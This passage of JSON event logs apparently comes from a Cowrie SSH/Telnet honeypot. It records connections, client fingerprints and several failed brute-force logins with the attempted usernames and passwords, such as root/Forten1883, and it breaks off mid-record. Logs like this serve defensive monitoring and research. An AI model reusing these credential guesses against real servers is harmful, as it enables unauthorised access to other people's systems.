{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":59412,"dst_ip":"10.17.0.5","dst_port":22,"session":"6409970856e2","protocol":"ssh","message":"New connection: 103.183.114.55:59412 (10.17.0.5:22) [session: 6409970856e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:33:44.712024Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:33:44.717277Z","src_ip":"103.183.114.55","session":"6409970856e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:33:44.941715Z","src_ip":"103.183.114.55","session":"6409970856e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:33:45.605522Z","src_ip":"103.183.114.55","session":"6409970856e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":45830,"dst_ip":"10.17.0.5","dst_port":22,"session":"b3fa63464fc8","protocol":"ssh","message":"New connection: 103.176.20.57:45830 (10.17.0.5:22) [session: b3fa63464fc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:33:46.452956Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:33:46.458074Z","src_ip":"103.176.20.57","session":"b3fa63464fc8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.77.172.159","src_port":32812,"dst_ip":"159.203.135.109","dst_port":22,"session":"a19119688411","protocol":"ssh","message":"New connection: 200.77.172.159:32812 (159.203.135.109:22) [session: a19119688411]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:33:46.520884Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:33:46.525874Z","src_ip":"200.77.172.159","session":"a19119688411","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:33:46.597603Z","src_ip":"200.77.172.159","session":"a19119688411","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:33:46.710776Z","src_ip":"103.176.20.57","session":"b3fa63464fc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:33:46.825185Z","src_ip":"103.183.114.55","session":"6409970856e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"warnightkardesim","message":"login attempt [root/warnightkardesim] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:33:46.910424Z","src_ip":"200.77.172.159","session":"a19119688411","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":38316,"dst_ip":"10.17.0.5","dst_port":23,"session":"4099e90ba118","protocol":"telnet","message":"New connection: 50.6.8.71:38316 (10.17.0.5:23) [session: 4099e90ba118]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:33:46.943582Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:33:47.463395Z","src_ip":"103.176.20.57","session":"b3fa63464fc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:33:47.983338Z","src_ip":"200.77.172.159","session":"a19119688411","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.356457471847534,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:33:48.273054Z","src_ip":"50.6.8.71","session":"367daa346bb6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:33:48.715241Z","src_ip":"103.176.20.57","session":"b3fa63464fc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.228296518325806,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:33:51.948180Z","src_ip":"50.6.8.71","session":"698dd3ff14be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.190","src_port":33546,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ea5a16f0fbc","protocol":"ssh","message":"New connection: 176.65.132.190:33546 (10.17.0.5:22) [session: 4ea5a16f0fbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:33:53.691923Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:33:53.697084Z","src_ip":"176.65.132.190","session":"4ea5a16f0fbc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":58108,"dst_ip":"10.17.0.5","dst_port":23,"session":"2904c73a2401","protocol":"telnet","message":"New connection: 50.6.8.71:58108 (10.17.0.5:23) [session: 2904c73a2401]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:33:58.752536Z"}
{"eventid":"cowrie.session.closed","duration":33.55582809448242,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:34:01.208576Z","src_ip":"50.6.8.71","session":"61f6d00e0e70","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.186.114.246","src_port":59541,"dst_ip":"10.17.0.5","dst_port":23,"session":"52a2e2ccb52f","protocol":"telnet","message":"New connection: 37.186.114.246:59541 (10.17.0.5:23) [session: 52a2e2ccb52f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:34:05.342629Z"}
{"eventid":"cowrie.session.closed","duration":120.01135849952698,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:34:15.028305Z","src_ip":"181.94.225.234","session":"0f875ebecdb0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.1445894241333,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:34:18.087982Z","src_ip":"50.6.8.71","session":"4099e90ba118","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.71138262748718,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:34:26.050876Z","src_ip":"50.6.8.71","session":"cbf1a32c02c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.02865123748779,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:34:27.532596Z","src_ip":"23.94.28.189","session":"689f4cc95998","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":43532,"dst_ip":"10.17.0.5","dst_port":23,"session":"19d048e82eea","protocol":"telnet","message":"New connection: 50.6.8.71:43532 (10.17.0.5:23) [session: 19d048e82eea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:34:28.545774Z"}
{"eventid":"cowrie.session.connect","src_ip":"4.210.91.174","src_port":1024,"dst_ip":"159.203.135.109","dst_port":22,"session":"a6d38acd795b","protocol":"ssh","message":"New connection: 4.210.91.174:1024 (159.203.135.109:22) [session: a6d38acd795b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:34:31.784575Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:34:31.790102Z","src_ip":"4.210.91.174","session":"a6d38acd795b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:34:31.859577Z","src_ip":"4.210.91.174","session":"a6d38acd795b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zhxnephu","password":"zXXUKpvydMqzp1quBItn","message":"login attempt [zhxnephu/zXXUKpvydMqzp1quBItn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:34:32.159999Z","src_ip":"4.210.91.174","session":"a6d38acd795b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:34:33.233545Z","src_ip":"4.210.91.174","session":"a6d38acd795b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.559499740600586,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:34:34.311903Z","src_ip":"50.6.8.71","session":"2904c73a2401","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":43548,"dst_ip":"10.17.0.5","dst_port":23,"session":"154574fda779","protocol":"telnet","message":"New connection: 50.6.8.71:43548 (10.17.0.5:23) [session: 154574fda779]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:34:34.671854Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":43544,"dst_ip":"10.17.0.5","dst_port":23,"session":"76919f57d457","protocol":"telnet","message":"New connection: 50.6.8.71:43544 (10.17.0.5:23) [session: 76919f57d457]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:34:34.945250Z"}
{"eventid":"cowrie.session.closed","duration":30.809409856796265,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:34:36.151899Z","src_ip":"37.186.114.246","session":"52a2e2ccb52f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":55422,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d37c77c083e","protocol":"telnet","message":"New connection: 50.6.8.71:55422 (10.17.0.5:23) [session: 3d37c77c083e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:34:40.899055Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":55432,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4774df372ad","protocol":"telnet","message":"New connection: 50.6.8.71:55432 (10.17.0.5:23) [session: f4774df372ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:34:41.915449Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":55448,"dst_ip":"10.17.0.5","dst_port":23,"session":"9885e50fe23a","protocol":"telnet","message":"New connection: 50.6.8.71:55448 (10.17.0.5:23) [session: 9885e50fe23a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:34:43.113253Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":44814,"dst_ip":"10.17.0.5","dst_port":22,"session":"472756114516","protocol":"ssh","message":"New connection: 103.27.238.120:44814 (10.17.0.5:22) [session: 472756114516]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:34:46.039902Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:34:46.045087Z","src_ip":"103.27.238.120","session":"472756114516","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:34:46.324776Z","src_ip":"103.27.238.120","session":"472756114516","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:34:47.162476Z","src_ip":"103.27.238.120","session":"472756114516","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":51872,"dst_ip":"10.17.0.5","dst_port":23,"session":"62f3a50d6b6e","protocol":"telnet","message":"New connection: 50.6.8.71:51872 (10.17.0.5:23) [session: 62f3a50d6b6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:34:48.282441Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:34:48.461974Z","src_ip":"103.27.238.120","session":"472756114516","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.77.172.159","src_port":57822,"dst_ip":"159.203.135.109","dst_port":22,"session":"f538f83f60f9","protocol":"ssh","message":"New connection: 200.77.172.159:57822 (159.203.135.109:22) [session: f538f83f60f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:34:58.152508Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:34:58.161026Z","src_ip":"200.77.172.159","session":"f538f83f60f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:34:58.231207Z","src_ip":"200.77.172.159","session":"f538f83f60f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":51616,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac00f60cffd3","protocol":"ssh","message":"New connection: 103.98.149.87:51616 (10.17.0.5:22) [session: ac00f60cffd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:34:58.238457Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:34:58.243314Z","src_ip":"103.98.149.87","session":"ac00f60cffd3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp